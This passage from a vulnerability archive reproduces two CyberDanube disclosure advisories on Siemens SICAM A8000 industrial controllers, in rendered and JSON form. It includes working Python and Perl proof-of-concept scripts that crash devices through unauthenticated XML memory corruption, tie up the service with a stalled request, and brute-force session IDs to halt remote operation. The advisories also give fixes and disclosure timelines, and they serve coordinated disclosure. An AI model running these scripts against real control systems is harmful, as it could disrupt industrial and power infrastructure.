args.COMP: COMP = args.COMP if COMP == "rtum85": path = b"/sicweb-ajax/rtum85/pwned" elif COMP == "ihi": path = b"/sicweb-ajax/auth" req = b"" req += b"POST " + path + b" HTTP/1.1\r\n" req += b"Content-Length: " + str(13371337).encode() + b"\r\n" req += b"Content-Type: multipart/form-data; boundary=--pwned\r\n" req += b"User-Agent: Mozilla/5.0\r\n" req += b"Accept: */*\r\n" req += b"Accept-Encoding: gzip, deflate, br\r\n" req += b"Connection: keep-alive\r\n" req += b"\r\n" log.info(req) with remote(IP, PORT) as io: io.send(req) io.recv(1337) ------------------------------------------------------------------------------- 2) Unauthenticated Memory Corruption (CVE-2026-27664) The following python script can be used to crash the IHI00.elf application on the device. As a watchdog (ISV00.elf) is active, the device reboots. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/bin/env python3 # S. Dietz <fitfrost4> from pwn import * IP = "localhost" PORT = 8080 if args.IP: IP = args.IP if args.PORT: PORT = int(args.PORT) buf = b'<?xml version="1.0" encoding="UTF-8"?>\n' buf += b"<x>" * 0xa0000 buf += b"</x>" buf += b"\r\n" body = buf req = b"" req += b"POST /sicweb-ajax/auth HTTP/1.1\r\n" req += b"Content-Length: " + str(len(body)).encode() + b"\r\n" req += b"sec-ch-ua: \"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"\r\n" req += b"Content-Type: application/xml\r\n" req += b"User-Agent: Mozilla/5.0\r\n" req += b"Accept: */*\r\n" req += b"Accept-Encoding: gzip, deflate, br\r\n" req += b"Connection: keep-alive\r\n" req += b"\r\n" req += body with remote(IP, PORT) as io: io.send(req) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The issue arises due to a logic error in the XML parsing. Both binaries use libexpat which export the function XML_SetElementHandler() which takes a user-defined structure as well as two function pointer which are executed when an opening or closing tag occurs. When looking at start() it can be observed that the tag_depth is tracked. If the depth is greater than 15, the return value gets set to -2 and the tag_depth gets incremented. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0052b0d4 void start(struct userdata* userData, char const* xmlchar) 0052b0da int32_t tag_depth = userData->tag_depth 0052b0e2 int32_t* entry_r2 0052b0e2 0052b0e2 if (tag_depth != 0) 0052b0e6 if (tag_depth != 1) 0052b0fa if (tag_depth u> 0xf) 0052b0fa goto too_big [...] 0052b152 too_big: 0052b152 userData->retval = -2 0052b154 userData->tag_depth = tag_depth + 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ When a matching closing tag occurs, end() is executed. Due to a missing retval check, the userData access happens out-of-bounds resulting in an arbitrary null-byte overflow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0052a570 void end(struct userdata* userData, char const* xmlchar) [...] 0052a584 0052a588 int32_t tag_depth = userData->tag_depth 0052a58c userData->tag_depth = tag_depth - 1 0052a58c 0052a58e if (tag_depth != 1) 0052a598 *(userData + ((tag_depth - 2) << 2) + 4) = 0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Further investigations showed that the bug allows an attacker to write a word of null-bytes to arbitrary memory after the buffers location, including the stack. Due to the extensive usage of shared libraries, this results in a large attack surface. ------------------------------------------------------------------------------- Solution ------------------------------------------------------------------------------- Install the latest version available. Workaround ------------------------------------------------------------------------------- Restrict network access to the device in the infrastructure. Recommendation ------------------------------------------------------------------------------- CyberDanube recommends to perform a white-box security assessment of the SICAM A8000 master module devices. Contact Timeline ------------------------------------------------------------------------------- 2026-02-24: Contacting Siemens ProductCERT 2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a valid behavior for resource conservation. 2026-03-09: Asking for name and organization for acknowledgement. In addition, gave an estimation regarding the update timeline. 2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443. 2026-04-08: Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF S. Dietz / @2025 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    Relationships
    reference GCVE-1988-2026-0256 (this record)
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260408-1\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n   vulnerable version| \u003c=V25.30\n        fixed version| V26.10\n           CVE number| CVE-2026-27664\n               impact| High\n             homepage| https://siemens.com/\n                found| 18.12.2025\n                   by| S. Dietz\n                     | (Office Vienna)\n                     | CyberDanube Security Research\n                     | Vienna\n                     |\n                     | This research was conducted in cooperation with\n                     | VERBUND Digital Power during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nA crafted POST request with a large Content-Length and multipart boundary\nwithout matching body seems to make the parser wait for more data. As long as\nthe connection is open, no other user can interact with the service. IHI00.elf\nand RTUM85.elf are impacted by this.\n\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nA crafted POST request with a malicious XML body can be send to write null\nbytes to an arbitrary memory address after the buffers location. This may lead\nto a denial of service or remote code execution. This impacts the IHI00.elf as\nwell as the RTUM85.elf binary.\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nThe following python script can be used to temporarily impact the availability\nof the device.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\nCOMP = \"ihi\"\npath = b\"\"\n\nif args.IP:\n    IP = args.IP\nif args.PORT:\n    PORT = int(args.PORT)\nif args.COMP:\n    COMP = args.COMP\nif COMP == \"rtum85\":\n    path = b\"/sicweb-ajax/rtum85/pwned\"\nelif COMP == \"ihi\":\n    path = b\"/sicweb-ajax/auth\"\n\nreq = b\"\"\nreq += b\"POST \" + path + b\" HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(13371337).encode() + b\"\\r\\n\"\nreq += b\"Content-Type: multipart/form-data; boundary=--pwned\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\n\nlog.info(req)\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n    io.recv(1337)\n\n-------------------------------------------------------------------------------\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nThe following python script can be used to crash the IHI00.elf application on\nthe device. As a watchdog (ISV00.elf) is active, the device reboots.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\n\nif args.IP:\n    IP = args.IP\n\nif args.PORT:\n    PORT = int(args.PORT)\n\nbuf = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\nbuf += b\"\u003cx\u003e\" * 0xa0000\nbuf += b\"\u003c/x\u003e\"\nbuf += b\"\\r\\n\"\n\nbody = buf\nreq = b\"\"\nreq += b\"POST /sicweb-ajax/auth HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\nreq += b\"sec-ch-ua: \\\"Chromium\\\";v=\\\"133\\\", \\\"Not(A:Brand\\\";v=\\\"99\\\"\\r\\n\"\nreq += b\"Content-Type: application/xml\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\nreq += body\n\nwith remote(IP, PORT) as io:\n    io.send(req)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe issue arises due to a logic error in the XML parsing. Both binaries use\nlibexpat which export the function XML_SetElementHandler() which takes a\nuser-defined structure as well as two function pointer which are executed when\nan opening or closing tag occurs.  When looking at start() it can be observed\nthat the tag_depth is tracked. If the depth is greater than 15, the return\nvalue gets set to -2 and the tag_depth gets incremented.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052b0d4    void start(struct userdata* userData, char const* xmlchar)\n0052b0da        int32_t tag_depth = userData-\u003etag_depth\n0052b0e2        int32_t* entry_r2\n0052b0e2\n0052b0e2        if (tag_depth != 0)\n0052b0e6            if (tag_depth != 1)\n0052b0fa                if (tag_depth u\u003e 0xf)\n0052b0fa                    goto too_big\n[...]\n0052b152    too_big:\n0052b152        userData-\u003eretval = -2\n0052b154        userData-\u003etag_depth = tag_depth + 1\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen a matching closing tag occurs, end() is executed. Due to a missing retval\ncheck, the userData access happens out-of-bounds resulting in an arbitrary\nnull-byte overflow\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052a570    void end(struct userdata* userData, char const* xmlchar)\n[...]\n0052a584\n0052a588        int32_t tag_depth = userData-\u003etag_depth\n0052a58c        userData-\u003etag_depth = tag_depth - 1\n0052a58c\n0052a58e        if (tag_depth != 1)\n0052a598            *(userData + ((tag_depth - 2) \u003c\u003c 2) + 4) = 0\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFurther investigations showed that the bug allows an attacker to write a word\nof null-bytes to arbitrary memory after the buffers location, including the\nstack. Due to the extensive usage of shared libraries, this results in a large\nattack surface.\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-02-24: Contacting Siemens ProductCERT\n2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a\n            valid behavior for resource conservation.\n2026-03-09: Asking for name and organization for acknowledgement. In addition,\n            gave an estimation regarding the update timeline.\n2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.\n2026-04-08: Coordinated release of security advisory.\n\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz / @2025\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/7"
        },
        {
          "url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://siemens.com/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.siemens.com/global/en/company/about.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/7"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-27664",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0256",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7",
            "automated": true,
            "contentSha256": "76b381a915589c3d3f3552184c204e5c93ccf859a0c160e0d2585c2fc74456e3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/7",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:45:01Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0256"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0256"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0255

    Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
    VLAI
    Title
    CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000
    Summary
    CyberDanube Security Research 20260408-0 ------------------------------------------------------------------------------- title| Remote Operation Denial of Service product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012 vulnerable version| <=V25.30 fixed version| V26.10 CVE number| CVE-2026-27663 impact| Medium homepage| https://siemens.com/ found| 28.11.2025 by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai | (Office Vienna) | CyberDanube Security Research | Vienna | St. Pölten | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Our purpose: We create technology to transform the everyday, for everyone. By combining the real and the digital worlds, we can help accelerate both digitalization and sustainability - so our customers around the world can become more competitive, resilient and sustainable." Source: https://www.siemens.com/global/en/company/about.html Vulnerable versions ------------------------------------------------------------------------------- Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30 Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30 Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31 Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31 See also the vendor advisory: https://cert-portal.siemens.com/productcert/html/ssa-246443.html Vulnerability overview ------------------------------------------------------------------------------- 1) Remote Operation Denial of Service (CVE-2026-27663) The remote operation mode is vulnerable to an uncontrolled resource exhaustion. By sending frequent requests, the service can be interrupted and the affected PLC can no longer be parameterized. This vulnerabilitiy can be triggered with less than 100 requests and stalls the service as log as it is restarted via the web interface or if the device is rebooted. Proof of Concept ------------------------------------------------------------------------------- 1) Remote Operation Denial of Service (CVE-2026-27663) The following script can be used to force the CPCI85 process into a denial of service state: ----------------------------------------------------- #!/usr/bin/perl #Author: T. Weber #SICAM Remote Operation DoS <=V25.30 use strict; use warnings; use LWP::UserAgent; use Parallel::ForkManager; $ENV{'PERL_LWP_SSL_VERIFY_HOSTNAME'} = 0; print "Enter target IP address: "; chomp(my $ip = <STDIN>); print "Enter target port: "; chomp(my $port = <STDIN>); print "Enter Y/N for HTTPS: "; chomp(my $tls = <STDIN>); if ($tls eq "Y") { $tls = "https"; } elsif ($tls eq "N") { $tls = "http"; } else { die "Invalid input for HTTPS (must be Y or N)\n"; } my $server_endpoint = "$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm"; print "Testing $server_endpoint\n"; # user agent my $ua = LWP::UserAgent->new( ssl_opts => { SSL_verify_mode => 0 }, keep_alive => 1, agent => "SICAM TOOLBOX II" ); # brute force session my @hex = (0..9, 'A'..'F'); my $found_session; for my $d1 (@hex) { for my $d2 (@hex) { for my $d3 (@hex) { for my $d4 (@hex) { my $session_id = "008cfd320836$d1$d2$d3$d4"; my $req = HTTP::Request->new(POST => $server_endpoint); $req->header('content-type' => 'text/plain'); $req->header('Session-ID' => $session_id); $req->header('UPLOADFILENAME' => 'abc.f20'); $req->content('type=20&length=1&data=A'); my $resp = $ua->request($req); if ($resp->is_success) { print "[$session_id] OK: ", $resp->decoded_content, "\n"; if ($resp->decoded_content ne ""){                                     print "found session\n";                                     $found_session = $session_id;                                     last;                               } } else { print "[$session_id] ERROR: ", $resp->status_line, "\n"; } } if ($found_session ne ""){                         last;                   } } if ($found_session ne ""){                   last;             } } if ($found_session ne ""){             last;       } } #denial of remote operation my $max_procs = 10; my $pm = Parallel::ForkManager->new($max_procs); my @alpha = (0..9); for my $d1 (@alpha) { for my $d2 (@alpha) { $pm->start and next;                   my $len = "$d1$d2";                    my $req = HTTP::Request->new(POST => $server_endpoint); $req->header('content-type' => 'text/plain'); $req->header('Session-ID' => $found_session); $req->header('UPLOADFILENAME' => 'abc.f20'); $req->content('type=20&length='.$len.'&data=A'); my $resp = $ua->request($req); if ($resp->is_success) { print "DoS Running: ".$d1.$d2."\n"; } else { print "ERROR: ", $resp->status_line, "\n"; } $pm->finish; } } $pm->wait_all_children; ----------------------------------------------------- The service is still running but stalled and cannot be used anymore to set parameters via Toolbox II. Solution ------------------------------------------------------------------------------- Install the latest version available. Workaround ------------------------------------------------------------------------------- Activate the web-interface to restart the service if needed. Deactivate remote operation if not used. Restrict network access to the device in the infrastructure. Recommendation ------------------------------------------------------------------------------- CyberDanube recommends to perform a white-box security assessment of the SICAM A8000 master module devices. Contact Timeline ------------------------------------------------------------------------------- 2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues. 2026-01-13: Siemens ProductCERT confirms to work on a fix. 2026-01-16: Siemens ProductCERT asks for more information regarding the exploitation. Provided more information. 2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary timeline. 2026-03-26: Siemens informs that patch has been released. Providing more time for customer to patch. Siemens published Advisory 2026-04-08: Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    Relationships
    reference GCVE-1988-2026-0255 (this record)
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260408-0\n-------------------------------------------------------------------------------\n                title| Remote Operation Denial of Service\n              product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n   vulnerable version| \u003c=V25.30\n        fixed version| V26.10\n           CVE number| CVE-2026-27663\n               impact| Medium\n             homepage| https://siemens.com/\n                found| 28.11.2025\n                   by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai\n                     | (Office Vienna)\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     |\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe remote operation mode is vulnerable to an uncontrolled resource exhaustion.\nBy sending frequent requests, the service can be interrupted and the affected\nPLC can no longer be parameterized. This vulnerabilitiy can be triggered with\nless than 100 requests and stalls the service as log as it is restarted via the\nweb interface or if the device is rebooted.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe following script can be used to force the CPCI85 process into a denial of\nservice state:\n-----------------------------------------------------\n#!/usr/bin/perl\n#Author: T. Weber\n#SICAM Remote Operation DoS \u003c=V25.30\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse Parallel::ForkManager;\n\n$ENV{\u0027PERL_LWP_SSL_VERIFY_HOSTNAME\u0027} = 0;\nprint \"Enter target IP address: \";\nchomp(my $ip = \u003cSTDIN\u003e);\n\nprint \"Enter target port: \";\nchomp(my $port = \u003cSTDIN\u003e);\n\nprint \"Enter Y/N for HTTPS: \";\nchomp(my $tls = \u003cSTDIN\u003e);\n\nif ($tls eq \"Y\") {\n    $tls = \"https\";\n} elsif ($tls eq \"N\") {\n    $tls = \"http\";\n} else {\n    die \"Invalid input for HTTPS (must be Y or N)\\n\";\n}\n\nmy $server_endpoint = \"$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm\";\nprint \"Testing $server_endpoint\\n\";\n# user agent\nmy $ua = LWP::UserAgent-\u003enew(\n    ssl_opts   =\u003e { SSL_verify_mode =\u003e 0 },\n    keep_alive =\u003e 1,\n    agent      =\u003e \"SICAM TOOLBOX II\"\n);\n\n# brute force session\nmy @hex = (0..9, \u0027A\u0027..\u0027F\u0027);\nmy $found_session;\nfor my $d1 (@hex) {\n    for my $d2 (@hex) {\n        for my $d3 (@hex) {\n            for my $d4 (@hex) {\n                my $session_id = \"008cfd320836$d1$d2$d3$d4\";\n                my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n                $req-\u003eheader(\u0027content-type\u0027   =\u003e \u0027text/plain\u0027);\n                $req-\u003eheader(\u0027Session-ID\u0027     =\u003e $session_id);\n                $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n                $req-\u003econtent(\u0027type=20\u0026length=1\u0026data=A\u0027);\n\n                my $resp = $ua-\u003erequest($req);\n\n                if ($resp-\u003eis_success) {\n                    print \"[$session_id] OK: \", $resp-\u003edecoded_content, \"\\n\";\n                    if ($resp-\u003edecoded_content ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002print \"found session\\n\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002$found_session = $session_id;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n                } else {\n                    print \"[$session_id] ERROR: \", $resp-\u003estatus_line, \"\\n\";\n                }\n            }\n            if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n        }\n        if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n    }\n    if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002}\n}\n\n#denial of remote operation\nmy $max_procs = 10;\nmy $pm = Parallel::ForkManager-\u003enew($max_procs);\n\nmy @alpha = (0..9);\nfor my $d1 (@alpha) {\n    for my $d2 (@alpha) {\n            $pm-\u003estart and next;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002my $len = \"$d1$d2\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\n            my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n            $req-\u003eheader(\u0027content-type\u0027   =\u003e \u0027text/plain\u0027);\n            $req-\u003eheader(\u0027Session-ID\u0027     =\u003e $found_session);\n            $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n            $req-\u003econtent(\u0027type=20\u0026length=\u0027.$len.\u0027\u0026data=A\u0027);\n            my $resp = $ua-\u003erequest($req);\n\n            if ($resp-\u003eis_success) {\n                print \"DoS Running: \".$d1.$d2.\"\\n\";\n            } else {\n                print \"ERROR: \", $resp-\u003estatus_line, \"\\n\";\n            }\n            $pm-\u003efinish;\n    }\n}\n$pm-\u003ewait_all_children;\n-----------------------------------------------------\nThe service is still running but stalled and cannot be used anymore to set\nparameters via Toolbox II.\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nActivate the web-interface to restart the service if needed. Deactivate remote\noperation if not used. Restrict network access to the device in the\ninfrastructure.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.\n2026-01-13: Siemens ProductCERT confirms to work on a fix.\n2026-01-16: Siemens ProductCERT asks for more information regarding the\n            exploitation. Provided more information.\n2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary\n            timeline.\n2026-03-26: Siemens informs that patch has been released. Providing more time\n            for customer to patch. Siemens published Advisory\n2026-04-08: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full 